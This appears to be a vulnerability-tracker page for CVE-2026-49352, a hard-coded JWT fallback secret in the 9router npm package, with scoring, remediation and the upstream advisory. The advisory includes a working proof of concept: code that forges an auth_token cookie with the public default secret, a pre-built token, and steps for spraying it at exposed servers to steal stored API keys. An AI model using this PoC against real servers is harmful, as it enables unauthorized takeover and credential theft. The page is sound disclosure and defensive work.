Skip to main content

9router CVE-2026-49352

CRITICAL
Use of Hard-coded Credentials (CWE-798)
2026-07-02 https://github.com/decolua/9router GHSA-jphh-m39h-6gwx
9.8
CVSS 3.1 · Vendor: https://github.com/decolua/9router
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Scan internet for exposed 9router dashboards
  2. Delivery
    Forge HS256 auth_token JWT with public default secret
  3. Exploit
    Set cookie and bypass /dashboard login
  4. Execution
    Query /api/settings/database for stored secrets
  5. Persist
    Exfiltrate API keys and auth tokens
  6. Impact
    Modify config or pivot via /api/mcp/ bridge

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A07:2025 - Authentication Failures
ASVS 5.0
V6 - Authentication Credential externalization
MITRE ATT&CK

2 techniques across 2 tactics: Persistence, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The single concrete prerequisite is that the target 9router server (version 0.2.21 through 0.4.41) runs WITHOUT the JWT_SECRET environment variable set, so dashboard JWTs are signed and verified with the hardcoded fallback "9router-default-secret-change-me"; the attacker crafts an HS256 JWT carrying the claim {authenticated:true} using that public secret and submits it as the auth_token cookie. No authentication, user interaction, or privileges are required against such a server, and the dashboard/API must be network-reachable by the attacker. The sole exploitation-limiting factor is configuration-based: any instance where the operator has set a real JWT_SECRET is not exploitable because the forged signature fails verification. There is no version- or platform-specific limiter beyond the affected range.

Impact

This is a genuine high-priority issue rather than an inflated CVSS number. The supplied vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8) is credible: exploitation is remote, needs no authentication or user interaction, and the PoC is a few lines of code - trivially automatable and sprayable across internet-exposed instances. A working public exploit materially raises real-world risk above a theoretical flaw. The important qualifier the raw score hides is that exploitation is conditional on the target NOT setting JWT_SECRET; the CVSS assumes the vulnerable default configuration. EPSS and CISA KEV data were not provided in the input, so exploitation probability and active-exploitation status cannot be confirmed here - absence of a KEV entry should not be read as absence of risk given the public PoC. The main factor limiting mass impact is deployment footprint: 9router is a niche project, so realistic exploitation is opportunistic scanning of a modest population of exposed servers rather than a widespread event.

Exploit ScenarioDerived

An attacker mass-scans the internet for exposed 9router dashboards and, for each target, sets a pre-forged auth_token cookie signed with the public default secret before requesting /dashboard. Any server that did not set JWT_SECRET accepts the cookie and grants full authenticated access, after which the attacker queries /api/settings/database to exfiltrate stored API keys and auth tokens. A complete PoC using the jose SignJWT API is included in the advisory, so no exploit development is needed.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.6% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 02, 2026

Authentication bypass in 9router (>= 0.2.21 through 0.4.41) lets any unauthenticated remote attacker forge a valid dashboard session cookie because the JWT signing key falls back to the publicly committed hardcoded string "9router-default-secret-change-me" whenever the JWT_SECRET environment variable is unset. Since this secret is identical across every release and visible in the public repository, an attacker can pre-compute a valid auth_token, bypass the /dashboard login, and reach every API endpoint to steal stored API keys and auth tokens or take over the instance. Publicly available exploit code exists (the advisory ships a working jose-based PoC); there is no CISA KEV listing and no confirmed active exploitation at time of analysis.

RemediationAI

The immediate fix is to set a strong, unique JWT_SECRET environment variable on every 9router server (for example JWT_SECRET=$(openssl rand -hex 32)) so the hardcoded fallback is never used; this instantly invalidates any forged tokens and requires no code change. The upstream recommended fix requires JWT_SECRET at startup and fails fast rather than falling back silently (or auto-generates and persists a random secret on first boot); the fix is published as advisory GHSA-jphh-m39h-6gwx, but no specific fixed release version is identified in the provided data, so treat setting JWT_SECRET as the primary control and upgrade once the vendor confirms a patched version. After setting the secret, rotate everything 9router held - stored API keys, auth tokens, and the dashboard password - since a prior attacker with a forged token could have read or altered them. As a compensating control until a fix is confirmed, restrict network exposure of the dashboard and /api endpoints (bind to localhost or place behind a VPN/reverse proxy with IP allowlisting) and specifically lock down /api/settings/database and the /api/mcp/ bridge; the trade-off is reduced remote accessibility for legitimate operators.

Affected Packages

npm 9router fix: 0.4.45

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

9router is a Node.js/Next.js application (distributed as the npm package pkg:npm/9router) whose dashboard session layer uses the jose library to issue HS256-signed JWTs stored in an auth_token cookie, validated by middleware against a symmetric secret. The root cause is CWE-798 (Use of Hard-coded Credentials): the code path new TextEncoder().encode(process.env.JWT_SECRET || "9router-default-secret-change-me") silently substitutes a known public constant when the operator does not provide JWT_SECRET. Because HMAC-based JWT verification only proves the signer knew the secret, and that secret is published in the source tree, the signature check provides zero security. The fallback was introduced in commit 23cfb19 (2026-01-09) in src/app/api/auth/login/route.js and src/middleware.js, then merely relocated (not fixed) by the OIDC refactor commit c3d91b0 into the shared module src/lib/auth/dashboardSession.js.

Know when OpenSSL gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/decolua/9router) PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 9.8 CRITICAL

Remote unauthenticated token forgery against the vulnerable default (JWT_SECRET unset) needs no privileges or interaction, and full dashboard/API control yields high C/I/A.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/decolua/9router).

CVSS VectorVendor: https://github.com/decolua/9router

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

9router uses a publicly known hardcoded string "9router-default-secret-change-me" as the fallback of JWT secret for all Dashboard session JWTs when the JWT_SECRET environment variable is not set. Because this secret is committed in the public repository and unchanged across all releases, any unauthenticated remote attacker can forge a valid auth_token cookie and gain full access to dashboard and api (If JWT_SECRET is not set on server) . This vulnerable affected so many public 9router server

Details

VersionsFileNote
>= 0.2.21, <= 0.4.30src/app/api/auth/login/route.js + src/middleware.jsIntroduced in commit 23cfb19
>= 0.4.31, <= 0.4.41src/lib/auth/dashboardSession.jsRelocated by OIDC refactor c3d91b0, secret unchanged

Vulnerable Code

v0.2.21 - v0.4.30 - src/app/api/auth/login/route.js and src/middleware.js:

js
const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

v0.4.31 - v0.4.41 (current) - src/lib/auth/dashboardSession.js (centralized via OIDC refactor, commit c3d91b0):

js
const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

The fallback string was introduced in commit 23cfb19 (2026-01-09) and has never been removed. The OIDC refactor in c3d91b0 only relocated it to a shared module . This vulnerability has existed since 9router first introduced authentication.

PoC

Step 1. Craft a JWT signed with the known default secret:

js
import { SignJWT } from "jose";

const SECRET = new TextEncoder().encode("9router-default-secret-change-me");

const token = await new SignJWT({ authenticated: true })
  .setProtectedHeader({ alg: "HS256" })
  .setIssuedAt()
  .setExpirationTime("36y")
  .sign(SECRET);

console.log(token); // example a valid auth_token=eyJhbGciOiJIUzI1NiJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJpYXQiOjE3Nzg3Njk4NTYsImV4cCI6MjkxNDg0MzQ1Nn0.enMLEqYZKFuzxkmRH6qd3E-Ub-20wOjmiEfP4KyIG6w

Step 2. Set the forged token as the auth_token cookie. And access the http://<target>/dashboard - completely authentication bypass

Attack Scenario:

  • Attacker can use this JWT to spray to all server that they found in the internet and gain dashboard access if a server doesn't set JWT_SECRET
  • Then they can steal valuable API Key , Auth Token via http:// target /api/settings/database

Impact

  • A successful attack grants attacker full API Key, Auth Token that 9router hold
  • They can read 9router apikey, change 9router password ,shutdown 9router, Modify everything
  • Pivot via the MCP stdio→SSE bridge exposed at /api/mcp/ (exploit CVE-2026-46339)

Recommended Fix

Require JWT_SECRET at startup and fail fast rather than falling back silently:

js
const jwtSecret = process.env.JWT_SECRET;
if (!jwtSecret) {
  throw new Error(
    "JWT_SECRET environment variable is not set. " +
    "Generate one with: openssl rand -hex 32"
  );
}
const SECRET = new TextEncoder().encode(jwtSecret);

Alternatively, auto-generate a random secret on first boot and persist it to the data directory - but never fall back to a publicly known constant.

Executive ViewAI

Why It Matters

9router versions 0.2.21 through 0.4.41 contain an authentication bypass that allows any remote attacker to forge valid session cookies and gain full dashboard access to steal API keys and authentication tokens. Organizations running affected versions face immediate risk of unauthorized instance takeover and credential compromise without network isolation or environment variable hardening.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Set JWT_SECRET environment variable to a cryptographically random string to prevent fallback to hardcoded default; (2) Restrict network access to dashboard via firewall rules limiting to trusted administrative networks only; (3) Disable 9router entirely if not operationally critical; (4) Monitor audit logs and API activity for signs of unauthorized access; (5) Rotate all API keys and authentication tokens stored in 9router. Note: These controls reduce attack surface but do not eliminate the authentication bypass if an attacker obtains network access to the dashboard endpoint.

Threat Intelligence Overview

EPSS Score
0.6%
Top 55% exploitable
Prevalence
Low
niche open-source npm project, limited production deployment footprint
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
4 sources
Confidence: Medium
NVD CVE.org EPSS Vulnrichment GHSA CIRCL GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.6%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

50
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +49
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

Affected Products (CPE)CVE.org

pkg:npm/9router
CVE-2014-0160 HIGH POC
7.5 Apr 07

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

CVE-2021-3711 CRITICAL POC
9.8 Aug 24

In order to decrypt SM2 encrypted data an application is expected to call the API function EVP_PKEY_decrypt(). Rated cri

CVE-2014-0195 MEDIUM POC
6.8 Jun 05

The dtls1_reassemble_fragment function in d1_both.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2016-0800 MEDIUM POC
5.9 Mar 01

The SSLv2 protocol, as used in OpenSSL before 1.0.1s and 1.0.2 before 1.0.2g and other products, requires a server to se

CVE-2015-0204 MEDIUM POC
4.3 Jan 09

The ssl3_get_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8zd, 1.0.0 before 1.0.0p, and 1.0.1 before 1.0.1k

CVE-2022-2068 HIGH
7.3 Jun 21

In addition to the c_rehash shell command injection identified in CVE-2022-1292, further circumstances where the c_rehas

CVE-2015-4000 LOW POC
3.7 May 21

The TLS protocol 1.2 and earlier, when a DHE_EXPORT ciphersuite is enabled on a server but not on a client, does not pro

CVE-2014-3566 LOW POC
3.4 Oct 15

The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other products, uses nondeterministic CBC padding, which mak

CVE-2016-2107 MEDIUM POC
5.9 May 05

The AES-NI implementation in OpenSSL before 1.0.1t and 1.0.2 before 1.0.2h does not consider memory allocation during a

CVE-2015-1793 MEDIUM POC
6.5 Jul 09

The X509_verify_cert function in crypto/x509/x509_vfy.c in OpenSSL 1.0.1n, 1.0.1o, 1.0.2b, and 1.0.2c does not properly

CVE-2022-3602 HIGH
7.5 Nov 01

A buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking. Rated hig

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy